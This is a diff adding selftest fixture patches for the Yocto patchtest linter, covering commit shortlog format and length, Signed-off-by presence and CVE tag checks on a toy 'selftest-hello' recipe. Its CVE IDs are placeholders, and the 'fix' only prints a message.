+ rename meta-selftest/recipes-test/selftest-hello/{selftest-hello_1.0.bb => selftest-hello_1.1.bb} (88%)
+
+diff --git a/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb b/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.1.bb
+similarity index 88%
+rename from meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
+rename to meta-selftest/recipes-test/selftest-hello/selftest-hello_1.1.bb
+index 547587bef4..acc388ec2c 100644
+--- a/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
++++ b/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.1.bb
+@@ -1,3 +1,4 @@
++SUMMARY = "Hello!"
+ DESCRIPTION = "Simple helloworld application -- selftest variant"
+ SECTION = "examples"
+ LICENSE = "MIT"
+@@ -16,4 +17,4 @@ do_install() {
+ install -m 0755 helloworld ${D}${bindir}
+ }
+
+-BBCLASSEXTEND = "native nativesdk"
+\ No newline at end of file
++BBCLASSEXTEND = "native nativesdk"
+--
+2.41.0
+
diff --git a/meta/lib/patchtest/selftest/files/TestMbox.test_series_merge_on_head.1.skip b/meta/lib/patchtest/selftest/files/TestMbox.test_series_merge_on_head.1.skip
new file mode 100644
index 0000000000..2a72457878
--- /dev/null
+++ b/meta/lib/patchtest/selftest/files/TestMbox.test_series_merge_on_head.1.skip
@@ -0,0 +1,35 @@
+From d12db4cfa913b0e7a4b5bd858d3019acc53ce426 Mon Sep 17 00:00:00 2001
+From: Trevor Gamblin <tgamblin@baylibre.com>
+Date: Wed, 30 Aug 2023 12:15:00 -0400
+Subject: [PATCH] selftest-hello: upgrade 1.0 -> 1.1
+
+This file should pass the test_series_merge_on_head test.
+
+Signed-off-by: Trevor Gamblin <tgamblin@baylibre.com>
+---
+ .../{selftest-hello_1.0.bb => selftest-hello_1.1.bb} | 3 ++-
+ 1 file changed, 2 insertions(+), 1 deletion(-)
+ rename meta-selftest/recipes-test/selftest-hello/{selftest-hello_1.0.bb => selftest-hello_1.1.bb} (88%)
+
+diff --git a/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb b/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.1.bb
+similarity index 88%
+rename from meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
+rename to meta-selftest/recipes-test/selftest-hello/selftest-hello_1.1.bb
+index 547587bef4..acc388ec2c 100644
+--- a/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
++++ b/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.1.bb
+@@ -1,3 +1,4 @@
++SUMMARY = "Hello!"
+ DESCRIPTION = "Simple helloworld application -- selftest variant"
+ SECTION = "examples"
+ LICENSE = "MIT"
+@@ -16,4 +17,4 @@ do_install() {
+ install -m 0755 helloworld ${D}${bindir}
+ }
+
+-BBCLASSEXTEND = "native nativesdk"
+\ No newline at end of file
++BBCLASSEXTEND = "native nativesdk"
+--
+2.41.0
+
diff --git a/meta/lib/patchtest/selftest/files/TestMbox.test_series_merge_on_head.2.skip b/meta/lib/patchtest/selftest/files/TestMbox.test_series_merge_on_head.2.skip
new file mode 100644
index 0000000000..49bd1f8ede
--- /dev/null
+++ b/meta/lib/patchtest/selftest/files/TestMbox.test_series_merge_on_head.2.skip
@@ -0,0 +1,41 @@
+From 55208224f492af0ad929555ffc9b95ff1d301c5f Mon Sep 17 00:00:00 2001
+From: Trevor Gamblin <tgamblin@baylibre.com>
+Date: Thu, 17 Aug 2023 15:02:38 -0400
+Subject: [PATCH] python3-dtc: upgrade 1.6.1 -> 1.7.0
+
+Changelog: https://kernel.googlesource.com/pub/scm/utils/dtc/dtc/+log/039a99414e778332d8f9c04cbd3072e1dcc62798
+
+Remove custom PV from the recipe since the relevant functionality is in
+1.7.0:
+
+[tgamblin@megalith dtc]$ git tag --contains c001fc01a43e7a06447c06ea3d50bd60641322b8
+v1.7.0
+
+Signed-off-by: Trevor Gamblin <tgamblin@baylibre.com>
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+---
+ .../python/{python3-dtc_1.6.1.bb => python3-dtc_1.7.0.bb} | 3 +--
+ 1 file changed, 1 insertion(+), 2 deletions(-)
+ rename meta/recipes-devtools/python/{python3-dtc_1.6.1.bb => python3-dtc_1.7.0.bb} (92%)
+
+diff --git a/meta/recipes-devtools/python/python3-dtc_1.6.1.bb b/meta/recipes-devtools/python/python3-dtc_1.7.0.bb
+similarity index 92%
+rename from meta/recipes-devtools/python/python3-dtc_1.6.1.bb
+rename to meta/recipes-devtools/python/python3-dtc_1.7.0.bb
+index 95ab0be474..85e48d4694 100644
+--- a/meta/recipes-devtools/python/python3-dtc_1.6.1.bb
++++ b/meta/recipes-devtools/python/python3-dtc_1.7.0.bb
+@@ -14,9 +14,8 @@ UPSTREAM_CHECK_GITTAGREGEX = "v(?P<pver>\d+(\.\d+)+)"
+
+ LIC_FILES_CHKSUM = "file://pylibfdt/libfdt.i;beginline=1;endline=6;md5=afda088c974174a29108c8d80b5dce90"
+
+-SRCREV = "c001fc01a43e7a06447c06ea3d50bd60641322b8"
++SRCREV = "039a99414e778332d8f9c04cbd3072e1dcc62798"
+
+-PV = "1.6.1+git"
+ S = "${WORKDIR}/git"
+
+ PYPA_WHEEL = "${S}/dist/libfdt-1.6.2*.whl"
+--
+2.41.0
+
diff --git a/meta/lib/patchtest/selftest/files/TestMbox.test_shortlog_format.fail b/meta/lib/patchtest/selftest/files/TestMbox.test_shortlog_format.fail
new file mode 100644
index 0000000000..cdbbc61b61
--- /dev/null
+++ b/meta/lib/patchtest/selftest/files/TestMbox.test_shortlog_format.fail
@@ -0,0 +1,73 @@
+From 35ccee3cee96fb29514475279248078d88907231 Mon Sep 17 00:00:00 2001
+From: Trevor Gamblin <tgamblin@baylibre.com>
+Date: Tue, 29 Aug 2023 14:12:27 -0400
+Subject: [PATCH] selftest-hello% fix CVE-1234-56789
+
+CVE: CVE-1234-56789
+
+Signed-off-by: Trevor Gamblin <tgamblin@baylibre.com>
+---
+ .../files/0001-Fix-CVE-1234-56789.patch | 27 +++++++++++++++++++
+ .../selftest-hello/selftest-hello_1.0.bb | 6 +++--
+ 2 files changed, 31 insertions(+), 2 deletions(-)
+ create mode 100644 meta-selftest/recipes-test/selftest-hello/files/0001-Fix-CVE-1234-56789.patch
+
+diff --git a/meta-selftest/recipes-test/selftest-hello/files/0001-Fix-CVE-1234-56789.patch b/meta-selftest/recipes-test/selftest-hello/files/0001-Fix-CVE-1234-56789.patch
+new file mode 100644
+index 0000000000..9219b8db62
+--- /dev/null
++++ b/meta-selftest/recipes-test/selftest-hello/files/0001-Fix-CVE-1234-56789.patch
+@@ -0,0 +1,27 @@
++From b26a31186e6ee2eb1f506d5f2f9394d327a0df2f Mon Sep 17 00:00:00 2001
++From: Trevor Gamblin <tgamblin@baylibre.com>
++Date: Tue, 29 Aug 2023 14:08:20 -0400
++Subject: [PATCH] Fix CVE-NOT-REAL
++
++CVE: CVE-1234-56789
++Upstream-Status: Backport(http://example.com/example)
++
++Signed-off-by: Trevor Gamblin <tgamblin@baylibre.com>
++---
++ strlen.c | 1 +
++ 1 file changed, 1 insertion(+)
++
++diff --git a/strlen.c b/strlen.c
++index 1788f38..83d7918 100644
++--- a/strlen.c
+++++ b/strlen.c
++@@ -8,6 +8,7 @@ int main() {
++
++ printf("%d\n", str_len(string1));
++ printf("%d\n", str_len(string2));
+++ printf("CVE FIXED!!!\n");
++
++ return 0;
++ }
++--
++2.41.0
++
+diff --git a/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb b/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
+index 547587bef4..76975a6729 100644
+--- a/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
++++ b/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
+@@ -3,7 +3,9 @@ SECTION = "examples"
+ LICENSE = "MIT"
+ LIC_FILES_CHKSUM = "file://${COMMON_LICENSE_DIR}/MIT;md5=0835ade698e0bcf8506ecda2f7b4f302"
+
+-SRC_URI = "file://helloworld.c"
++SRC_URI = "file://helloworld.c \
++ file://CVE-1234-56789.patch \
++ "
+
+ S = "${WORKDIR}"
+
+@@ -16,4 +18,4 @@ do_install() {
+ install -m 0755 helloworld ${D}${bindir}
+ }
+
+-BBCLASSEXTEND = "native nativesdk"
+\ No newline at end of file
++BBCLASSEXTEND = "native nativesdk"
+--
+2.41.0
+
diff --git a/meta/lib/patchtest/selftest/files/TestMbox.test_shortlog_format.pass b/meta/lib/patchtest/selftest/files/TestMbox.test_shortlog_format.pass
new file mode 100644
index 0000000000..ef6017037c
--- /dev/null
+++ b/meta/lib/patchtest/selftest/files/TestMbox.test_shortlog_format.pass
@@ -0,0 +1,73 @@
+From 35ccee3cee96fb29514475279248078d88907231 Mon Sep 17 00:00:00 2001
+From: Trevor Gamblin <tgamblin@baylibre.com>
+Date: Tue, 29 Aug 2023 14:12:27 -0400
+Subject: [PATCH] selftest-hello: fix CVE-1234-56789
+
+CVE: CVE-1234-56789
+
+Signed-off-by: Trevor Gamblin <tgamblin@baylibre.com>
+---
+ .../files/0001-Fix-CVE-1234-56789.patch | 27 +++++++++++++++++++
+ .../selftest-hello/selftest-hello_1.0.bb | 6 +++--
+ 2 files changed, 31 insertions(+), 2 deletions(-)
+ create mode 100644 meta-selftest/recipes-test/selftest-hello/files/0001-Fix-CVE-1234-56789.patch
+
+diff --git a/meta-selftest/recipes-test/selftest-hello/files/0001-Fix-CVE-1234-56789.patch b/meta-selftest/recipes-test/selftest-hello/files/0001-Fix-CVE-1234-56789.patch
+new file mode 100644
+index 0000000000..9219b8db62
+--- /dev/null
++++ b/meta-selftest/recipes-test/selftest-hello/files/0001-Fix-CVE-1234-56789.patch
+@@ -0,0 +1,27 @@
++From b26a31186e6ee2eb1f506d5f2f9394d327a0df2f Mon Sep 17 00:00:00 2001
++From: Trevor Gamblin <tgamblin@baylibre.com>
++Date: Tue, 29 Aug 2023 14:08:20 -0400
++Subject: [PATCH] Fix CVE-NOT-REAL
++
++CVE: CVE-1234-56789
++Upstream-Status: Backport(http://example.com/example)
++
++Signed-off-by: Trevor Gamblin <tgamblin@baylibre.com>
++---
++ strlen.c | 1 +
++ 1 file changed, 1 insertion(+)
++
++diff --git a/strlen.c b/strlen.c
++index 1788f38..83d7918 100644
++--- a/strlen.c
+++++ b/strlen.c
++@@ -8,6 +8,7 @@ int main() {
++
++ printf("%d\n", str_len(string1));
++ printf("%d\n", str_len(string2));
+++ printf("CVE FIXED!!!\n");
++
++ return 0;
++ }
++--
++2.41.0
++
+diff --git a/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb b/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
+index 547587bef4..76975a6729 100644
+--- a/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
++++ b/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
+@@ -3,7 +3,9 @@ SECTION = "examples"
+ LICENSE = "MIT"
+ LIC_FILES_CHKSUM = "file://${COMMON_LICENSE_DIR}/MIT;md5=0835ade698e0bcf8506ecda2f7b4f302"
+
+-SRC_URI = "file://helloworld.c"
++SRC_URI = "file://helloworld.c \
++ file://CVE-1234-56789.patch \
++ "
+
+ S = "${WORKDIR}"
+
+@@ -16,4 +18,4 @@ do_install() {
+ install -m 0755 helloworld ${D}${bindir}
+ }
+
+-BBCLASSEXTEND = "native nativesdk"
+\ No newline at end of file
++BBCLASSEXTEND = "native nativesdk"
+--
+2.41.0
+
diff --git a/meta/lib/patchtest/selftest/files/TestMbox.test_shortlog_length.fail b/meta/lib/patchtest/selftest/files/TestMbox.test_shortlog_length.fail
new file mode 100644
index 0000000000..629e78540b
--- /dev/null
+++ b/meta/lib/patchtest/selftest/files/TestMbox.test_shortlog_length.fail
@@ -0,0 +1,73 @@
+From 35ccee3cee96fb29514475279248078d88907231 Mon Sep 17 00:00:00 2001
+From: Trevor Gamblin <tgamblin@baylibre.com>
+Date: Tue, 29 Aug 2023 14:12:27 -0400
+Subject: [PATCH] selftest-hello: this is a very long commit shortlog with way too many words included in it to pass the test
+
+CVE: CVE-1234-56789
+
+Signed-off-by: Trevor Gamblin <tgamblin@baylibre.com>
+---
+ .../files/0001-Fix-CVE-1234-56789.patch | 27 +++++++++++++++++++
+ .../selftest-hello/selftest-hello_1.0.bb | 6 +++--
+ 2 files changed, 31 insertions(+), 2 deletions(-)
+ create mode 100644 meta-selftest/recipes-test/selftest-hello/files/0001-Fix-CVE-1234-56789.patch
+
+diff --git a/meta-selftest/recipes-test/selftest-hello/files/0001-Fix-CVE-1234-56789.patch b/meta-selftest/recipes-test/selftest-hello/files/0001-Fix-CVE-1234-56789.patch
+new file mode 100644
+index 0000000000..9219b8db62
+--- /dev/null
++++ b/meta-selftest/recipes-test/selftest-hello/files/0001-Fix-CVE-1234-56789.patch
+@@ -0,0 +1,27 @@
++From b26a31186e6ee2eb1f506d5f2f9394d327a0df2f Mon Sep 17 00:00:00 2001
++From: Trevor Gamblin <tgamblin@baylibre.com>
++Date: Tue, 29 Aug 2023 14:08:20 -0400
++Subject: [PATCH] Fix CVE-NOT-REAL
++
++CVE: CVE-1234-56789
++Upstream-Status: Backport(http://example.com/example)
++
++Signed-off-by: Trevor Gamblin <tgamblin@baylibre.com>
++---
++ strlen.c | 1 +
++ 1 file changed, 1 insertion(+)
++
++diff --git a/strlen.c b/strlen.c
++index 1788f38..83d7918 100644
++--- a/strlen.c
+++++ b/strlen.c
++@@ -8,6 +8,7 @@ int main() {
++
++ printf("%d\n", str_len(string1));
++ printf("%d\n", str_len(string2));
+++ printf("CVE FIXED!!!\n");
++
++ return 0;
++ }
++--
++2.41.0
++
+diff --git a/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb b/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
+index 547587bef4..76975a6729 100644
+--- a/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
++++ b/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
+@@ -3,7 +3,9 @@ SECTION = "examples"
+ LICENSE = "MIT"
+ LIC_FILES_CHKSUM = "file://${COMMON_LICENSE_DIR}/MIT;md5=0835ade698e0bcf8506ecda2f7b4f302"
+
+-SRC_URI = "file://helloworld.c"
++SRC_URI = "file://helloworld.c \
++ file://0001-Fix-CVE-1234-56789.patch \
++ "
+
+ S = "${WORKDIR}"
+
+@@ -16,4 +18,4 @@ do_install() {
+ install -m 0755 helloworld ${D}${bindir}
+ }
+
+-BBCLASSEXTEND = "native nativesdk"
+\ No newline at end of file
++BBCLASSEXTEND = "native nativesdk"
+--
+2.41.0
+
diff --git a/meta/lib/patchtest/selftest/files/TestMbox.test_shortlog_length.pass b/meta/lib/patchtest/selftest/files/TestMbox.test_shortlog_length.pass
new file mode 100644
index 0000000000..ef6017037c
--- /dev/null
+++ b/meta/lib/patchtest/selftest/files/TestMbox.test_shortlog_length.pass
@@ -0,0 +1,73 @@
+From 35ccee3cee96fb29514475279248078d88907231 Mon Sep 17 00:00:00 2001
+From: Trevor Gamblin <tgamblin@baylibre.com>
+Date: Tue, 29 Aug 2023 14:12:27 -0400
+Subject: [PATCH] selftest-hello: fix CVE-1234-56789
+
+CVE: CVE-1234-56789
+
+Signed-off-by: Trevor Gamblin <tgamblin@baylibre.com>
+---
+ .../files/0001-Fix-CVE-1234-56789.patch | 27 +++++++++++++++++++
+ .../selftest-hello/selftest-hello_1.0.bb | 6 +++--
+ 2 files changed, 31 insertions(+), 2 deletions(-)
+ create mode 100644 meta-selftest/recipes-test/selftest-hello/files/0001-Fix-CVE-1234-56789.patch
+
+diff --git a/meta-selftest/recipes-test/selftest-hello/files/0001-Fix-CVE-1234-56789.patch b/meta-selftest/recipes-test/selftest-hello/files/0001-Fix-CVE-1234-56789.patch
+new file mode 100644
+index 0000000000..9219b8db62
+--- /dev/null
++++ b/meta-selftest/recipes-test/selftest-hello/files/0001-Fix-CVE-1234-56789.patch
+@@ -0,0 +1,27 @@
++From b26a31186e6ee2eb1f506d5f2f9394d327a0df2f Mon Sep 17 00:00:00 2001
++From: Trevor Gamblin <tgamblin@baylibre.com>
++Date: Tue, 29 Aug 2023 14:08:20 -0400
++Subject: [PATCH] Fix CVE-NOT-REAL
++
++CVE: CVE-1234-56789
++Upstream-Status: Backport(http://example.com/example)
++
++Signed-off-by: Trevor Gamblin <tgamblin@baylibre.com>
++---
++ strlen.c | 1 +
++ 1 file changed, 1 insertion(+)
++
++diff --git a/strlen.c b/strlen.c
++index 1788f38..83d7918 100644
++--- a/strlen.c
+++++ b/strlen.c
++@@ -8,6 +8,7 @@ int main() {
++
++ printf("%d\n", str_len(string1));
++ printf("%d\n", str_len(string2));
+++ printf("CVE FIXED!!!\n");
++
++ return 0;
++ }
++--
++2.41.0
++
+diff --git a/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb b/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
+index 547587bef4..76975a6729 100644
+--- a/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
++++ b/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
+@@ -3,7 +3,9 @@ SECTION = "examples"
+ LICENSE = "MIT"
+ LIC_FILES_CHKSUM = "file://${COMMON_LICENSE_DIR}/MIT;md5=0835ade698e0bcf8506ecda2f7b4f302"
+
+-SRC_URI = "file://helloworld.c"
++SRC_URI = "file://helloworld.c \
++ file://CVE-1234-56789.patch \
++ "
+
+ S = "${WORKDIR}"
+
+@@ -16,4 +18,4 @@ do_install() {
+ install -m 0755 helloworld ${D}${bindir}
+ }
+
+-BBCLASSEXTEND = "native nativesdk"
+\ No newline at end of file
++BBCLASSEXTEND = "native nativesdk"
+--
+2.41.0
+
diff --git a/meta/lib/patchtest/selftest/files/TestMbox.test_signed_off_by_presence.1.fail b/meta/lib/patchtest/selftest/files/TestMbox.test_signed_off_by_presence.1.fail
new file mode 100644
index 0000000000..35d92aeed7
--- /dev/null
+++ b/meta/lib/patchtest/selftest/files/TestMbox.test_signed_off_by_presence.1.fail
@@ -0,0 +1,71 @@
+From 14d72f6973270f78455a8628143f2cff90e8f41e Mon Sep 17 00:00:00 2001
+From: Trevor Gamblin <tgamblin@baylibre.com>
+Date: Tue, 29 Aug 2023 14:12:27 -0400
+Subject: [PATCH] selftest-hello: fix CVE-1234-56789
+
+CVE: CVE-1234-56789
+
+---
+ .../selftest-hello/files/CVE-1234-56789.patch | 27 +++++++++++++++++++
+ .../selftest-hello/selftest-hello_1.0.bb | 6 +++--
+ 2 files changed, 31 insertions(+), 2 deletions(-)
+ create mode 100644 meta-selftest/recipes-test/selftest-hello/files/CVE-1234-56789.patch
+
+diff --git a/meta-selftest/recipes-test/selftest-hello/files/CVE-1234-56789.patch b/meta-selftest/recipes-test/selftest-hello/files/CVE-1234-56789.patch
+new file mode 100644
+index 0000000000..869cfb6fe5
+--- /dev/null
++++ b/meta-selftest/recipes-test/selftest-hello/files/CVE-1234-56789.patch
+@@ -0,0 +1,27 @@
++From b26a31186e6ee2eb1f506d5f2f9394d327a0df2f Mon Sep 17 00:00:00 2001
++From: Trevor Gamblin <tgamblin@baylibre.com>
++Date: Tue, 29 Aug 2023 14:08:20 -0400
++Subject: [PATCH] Fix CVE-NOT-REAL
++
++CVE: CVE-1234-56789
++Upstream-Status: Backport(http://example.com/example)
++
++Signed-off-by: Trevor Gamblin <tgamblin@baylibre.com>
++---
++ strlen.c | 1 +
++ 1 file changed, 1 insertion(+)
++
++diff --git a/strlen.c b/strlen.c
++index 1788f38..83d7918 100644
++--- a/strlen.c
+++++ b/strlen.c
++@@ -8,6 +8,7 @@ int main() {
++
++ printf("%d\n", str_len(string1));
++ printf("%d\n", str_len(string2));
+++ printf("CVE FIXED!!!\n");
++
++ return 0;
++ }
++--
++2.41.0
+diff --git a/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb b/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
+index 547587bef4..76975a6729 100644
+--- a/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
++++ b/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
+@@ -3,7 +3,9 @@ SECTION = "examples"
+ LICENSE = "MIT"
+ LIC_FILES_CHKSUM = "file://${COMMON_LICENSE_DIR}/MIT;md5=0835ade698e0bcf8506ecda2f7b4f302"
+
+-SRC_URI = "file://helloworld.c"
++SRC_URI = "file://helloworld.c \
++ file://CVE-1234-56789.patch \
++ "
+
+ S = "${WORKDIR}"
+
+@@ -16,4 +18,4 @@ do_install() {
+ install -m 0755 helloworld ${D}${bindir}
+ }
+
+-BBCLASSEXTEND = "native nativesdk"
+\ No newline at end of file
++BBCLASSEXTEND = "native nativesdk"
+--
+2.41.0
+
diff --git a/meta/lib/patchtest/selftest/files/TestMbox.test_signed_off_by_presence.2.fail b/meta/lib/patchtest/selftest/files/TestMbox.test_signed_off_by_presence.2.fail
new file mode 100644
index 0000000000..68f38dee06
--- /dev/null
+++ b/meta/lib/patchtest/selftest/files/TestMbox.test_signed_off_by_presence.2.fail
@@ -0,0 +1,72 @@
+From 14d72f6973270f78455a8628143f2cff90e8f41e Mon Sep 17 00:00:00 2001
+From: Trevor Gamblin <tgamblin@baylibre.com>
+Date: Tue, 29 Aug 2023 14:12:27 -0400
+Subject: [PATCH] selftest-hello: fix CVE-1234-56789
+
+CVE: CVE-1234-56789
+
+Approved: Trevor Gamblin <tgamblin@baylibre.com>
+---
+ .../selftest-hello/files/CVE-1234-56789.patch | 27 +++++++++++++++++++
+ .../selftest-hello/selftest-hello_1.0.bb | 6 +++--
+ 2 files changed, 31 insertions(+), 2 deletions(-)
+ create mode 100644 meta-selftest/recipes-test/selftest-hello/files/CVE-1234-56789.patch
+
+diff --git a/meta-selftest/recipes-test/selftest-hello/files/CVE-1234-56789.patch b/meta-selftest/recipes-test/selftest-hello/files/CVE-1234-56789.patch
+new file mode 100644
+index 0000000000..869cfb6fe5
+--- /dev/null
++++ b/meta-selftest/recipes-test/selftest-hello/files/CVE-1234-56789.patch
+@@ -0,0 +1,27 @@
++From b26a31186e6ee2eb1f506d5f2f9394d327a0df2f Mon Sep 17 00:00:00 2001
++From: Trevor Gamblin <tgamblin@baylibre.com>
++Date: Tue, 29 Aug 2023 14:08:20 -0400
++Subject: [PATCH] Fix CVE-NOT-REAL
++
++CVE: CVE-1234-56789
++Upstream-Status: Backport(http://example.com/example)
++
++Signed-off-by: Trevor Gamblin <tgamblin@baylibre.com>
++---
++ strlen.c | 1 +
++ 1 file changed, 1 insertion(+)
++
++diff --git a/strlen.c b/strlen.c
++index 1788f38..83d7918 100644
++--- a/strlen.c
+++++ b/strlen.c
++@@ -8,6 +8,7 @@ int main() {
++
++ printf("%d\n", str_len(string1));
++ printf("%d\n", str_len(string2));
+++ printf("CVE FIXED!!!\n");
++
++ return 0;
++ }
++--
++2.41.0
+diff --git a/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb b/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
+index 547587bef4..76975a6729 100644
+--- a/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
++++ b/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
+@@ -3,7 +3,9 @@ SECTION = "examples"
+ LICENSE = "MIT"
+ LIC_FILES_CHKSUM = "file://${COMMON_LICENSE_DIR}/MIT;md5=0835ade698e0bcf8506ecda2f7b4f302"
+
+-SRC_URI = "file://helloworld.c"
++SRC_URI = "file://helloworld.c \
++ file://CVE-1234-56789.patch \
++ "
+
+ S = "${WORKDIR}"
+
+@@ -16,4 +18,4 @@ do_install() {
+ install -m 0755 helloworld ${D}${bindir}
+ }
+
+-BBCLASSEXTEND = "native nativesdk"
+\ No newline at end of file
++BBCLASSEXTEND = "native nativesdk"
+--
+2.41.0
+
diff --git a/meta/lib/patchtest/selftest/files/TestMbox.test_signed_off_by_presence.pass b/meta/lib/patchtest/selftest/files/TestMbox.test_signed_off_by_presence.pass
new file mode 100644
index 0000000000..ea34c76f0d
--- /dev/null
+++ b/meta/lib/patchtest/selftest/files/TestMbox.test_signed_off_by_presence.pass
@@ -0,0 +1,72 @@
+From 14d72f6973270f78455a8628143f2cff90e8f41e Mon Sep 17 00:00:00 2001
+From: Trevor Gamblin <tgamblin@baylibre.com>
+Date: Tue, 29 Aug 2023 14:12:27 -0400
+Subject: [PATCH] selftest-hello: fix CVE-1234-56789
+
+CVE: CVE-1234-56789
+
+Signed-off-by: Trevor Gamblin <tgamblin@baylibre.com>
+---
+ .../selftest-hello/files/CVE-1234-56789.patch | 27 +++++++++++++++++++
+ .../selftest-hello/selftest-hello_1.0.bb | 6 +++--
+ 2 files changed, 31 insertions(+), 2 deletions(-)
+ create mode 100644 meta-selftest/recipes-test/selftest-hello/files/CVE-1234-56789.patch
+
+diff --git a/meta-selftest/recipes-test/selftest-hello/files/CVE-1234-56789.patch b/meta-selftest/recipes-test/selftest-hello/files/CVE-1234-56789.patch
+new file mode 100644
+index 0000000000..869cfb6fe5
+--- /dev/null
++++ b/meta-selftest/recipes-test/selftest-hello/files/CVE-1234-56789.patch
+@@ -0,0 +1,27 @@
++From b26a31186e6ee2eb1f506d5f2f9394d327a0df2f Mon Sep 17 00:00:00 2001
++From: Trevor Gamblin <tgamblin@baylibre.com>
++Date: Tue, 29 Aug 2023 14:08:20 -0400
++Subject: [PATCH] Fix CVE-NOT-REAL
++
++CVE: CVE-1234-56789
++Upstream-Status: Backport(http://example.com/example)
++
++Signed-off-by: Trevor Gamblin <tgamblin@baylibre.com>
++---
++ strlen.c | 1 +
++ 1 file changed, 1 insertion(+)
++
++diff --git a/strlen.c b/strlen.c
++index 1788f38..83d7918 100644
++--- a/strlen.c
+++++ b/strlen.c
++@@ -8,6 +8,7 @@ int main() {
++
++ printf("%d\n", str_len(string1));
++ printf("%d\n", str_len(string2));
+++ printf("CVE FIXED!!!\n");
++
++ return 0;
++ }
++--
++2.41.0
+diff --git a/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb b/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
+index 547587bef4..76975a6729 100644
+--- a/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
++++ b/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
+@@ -3,7 +3,9 @@ SECTION = "examples"
+ LICENSE = "MIT"
+ LIC_FILES_CHKSUM = "file://${COMMON_LICENSE_DIR}/MIT;md5=0835ade698e0bcf8506ecda2f7b4f302"
+
+-SRC_URI = "file://helloworld.c"
++SRC_URI = "file://helloworld.c \
++ file://CVE-1234-56789.patch \
++ "
+
+ S = "${WORKDIR}"
+
+@@ -16,4 +18,4 @@ do_install() {
+ install -m 0755 helloworld ${D}${bindir}
+ }
+
+-BBCLASSEXTEND = "native nativesdk"
+\ No newline at end of file
++BBCLASSEXTEND = "native nativesdk"
+--
+2.41.0
+
diff --git a/meta/lib/patchtest/selftest/files/TestMetadata.test_cve_check_ignore.fail b/meta/lib/patchtest/selftest/files/TestMetadata.test_cve_check_ignore.fail
new file mode 100644
index 0000000000..3574463ade
--- /dev/null
+++ b/meta/lib/patchtest/selftest/files/TestMetadata.test_cve_check_ignore.fail
@@ -0,0 +1,30 @@
+From c4ca86b9cca3643097db0328e2f34dccffbba309 Mon Sep 17 00:00:00 2001
+From: =?UTF-8?q?Simone=20Wei=C3=9F?= <simone.p.weiss@posteo.com>
+Date: Sat, 10 Feb 2024 13:18:44 +0100
+Subject: [PATCH] selftest-hello: add CVE_CHECK_IGNORE
+MIME-Version: 1.0
+Content-Type: text/plain; charset=UTF-8
+Content-Transfer-Encoding: 8bit
+
+This should fail the test_cve_tag_format selftest.
+
+Signed-off-by: Simone Weiß <simone.p.weiss@posteo.com>
+---
+ .../recipes-test/selftest-hello/selftest-hello_1.0.bb | 3 ++-
+ 1 file changed, 2 insertions(+), 1 deletion(-)
+
+diff --git a/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb b/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
+index 547587bef4..3ef9b87c34 100644
+--- a/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
++++ b/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
+@@ -16,4 +16,5 @@ do_install() {
+ install -m 0755 helloworld ${D}${bindir}
+ }
+
+-BBCLASSEXTEND = "native nativesdk"
+\ No newline at end of file
++CVE_CHECK_IGNORE = "CVE-2024-12345"
++BBCLASSEXTEND = "native nativesdk"
+--
+2.39.2
+
diff --git a/meta/lib/patchtest/selftest/files/TestMetadata.test_cve_check_ignore.pass b/meta/lib/patchtest/selftest/files/TestMetadata.test_cve_check_ignore.pass
new file mode 100644
index 0000000000..10f942a6eb
--- /dev/null
+++ b/meta/lib/patchtest/selftest/files/TestMetadata.test_cve_check_ignore.pass
@@ -0,0 +1,31 @@
+From 7d4d3fee0c7111830ee9b2b049ae3ce265b26030 Mon Sep 17 00:00:00 2001
+From: =?UTF-8?q?Simone=20Wei=C3=9F?= <simone.p.weiss@posteo.com>
+Date: Sat, 10 Feb 2024 13:23:56 +0100
+Subject: [PATCH] selftest-hello: add CVE_STATUS
+MIME-Version: 1.0
+Content-Type: text/plain; charset=UTF-8
+Content-Transfer-Encoding: 8bit
+
+This should pass the test_cve_tag_format selftest.
+
+Signed-off-by: Simone Weiß <simone.p.weiss@posteo.com>
+---
+ .../recipes-test/selftest-hello/selftest-hello_1.0.bb | 4 +++-
